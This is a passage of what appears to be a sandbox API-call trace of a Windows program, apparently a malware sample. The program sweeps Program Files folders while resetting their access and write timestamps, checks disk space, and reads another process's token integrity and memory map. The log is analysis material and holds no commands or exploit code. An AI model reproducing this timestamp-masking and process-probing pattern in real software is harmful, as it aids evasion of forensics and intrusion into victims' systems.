lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.095] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.096] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.096] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.098] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.098] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.098] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe88, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe88, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.100] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.101] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.101] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe88, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe88, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.105] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.105] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.105] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe88, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe88, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.105] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.105] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.106] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ad7e88, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1ad7e88, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.107] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.107] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.108] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ad7e88, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1ad7e88, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.110] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.110] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.110] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ad7e88, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1ad7e88, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.111] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.111] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.111] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ad7e88, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1ad7e88, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.113] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.114] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1addc10, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1addc10, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.116] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.116] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.116] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.116] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.117] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.117] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.117] CreateFileW (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.117] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.117] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.117] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.117] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.118] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.118] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.118] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.118] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.118] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.118] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.118] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.119] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.119] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.119] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.119] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.119] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.119] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.120] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.120] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.120] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.120] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0056.120] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.121] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1addc90, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1addc90, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.121] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.121] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.121] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1addc90, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1addc90, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.122] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.122] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.122] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1addc90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1addc90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.123] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.123] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.123] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1addc90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1addc90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.884] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0056.887] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0056.887] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0056.887] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0057.407] TerminateThread (hThread=0x65, dwExitCode=0x0) returned 0 [0057.407] NtClose (Handle=0x65) returned 0x0 [0057.778] GetProcessTimes (in: hProcess=0x148, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.778] OpenProcessToken (in: ProcessHandle=0x148, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.778] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.778] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.778] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.778] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.778] NtClose (Handle=0x1f0) returned 0x0 [0057.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d20 [0057.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf4c50 [0057.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d20) returned 1 [0057.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x380) returned 0xef1038 [0057.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bf4c50) returned 1 [0057.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d20 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf4c50 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d20) returned 1 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bf4c50) returned 1 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d20 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf4c50 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d20) returned 1 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bf4c50) returned 1 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef1038) returned 1 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d20 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf4c50 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d20) returned 1 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bf4c50) returned 1 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d20 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x140) returned 0xeee4e8 [0057.786] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d20) returned 1 [0057.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf180) returned 0x1c0bc88 [0057.787] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee4e8) returned 1 [0057.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d20 [0057.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99d68 [0057.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99db0 [0057.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99df8 [0057.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1f40) returned 0x1bbf9b0 [0057.788] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d20) returned 1 [0057.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xfc0) returned 0x1a8da68 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99d68) returned 1 [0057.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1f40) returned 0xf45680 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99db0) returned 1 [0057.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1bb7d80 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99df8) returned 1 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb7d80) returned 1 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf45680) returned 1 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8da68) returned 1 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bbf9b0) returned 1 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1c0bc88) returned 1 [0057.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.789] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0x0, Type=0x100000), ResultLength=0x0) returned 0x0 [0057.795] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x4, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.803] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77053000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77053000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x2f000), ResultLength=0x0) returned 0x0 [0057.803] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77082000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77082000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.803] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77083000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77083000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.803] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77084000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77084000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.803] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77085000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77085000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.804] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77087000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77087000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.804] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77088000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77088000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.804] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x77089000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: 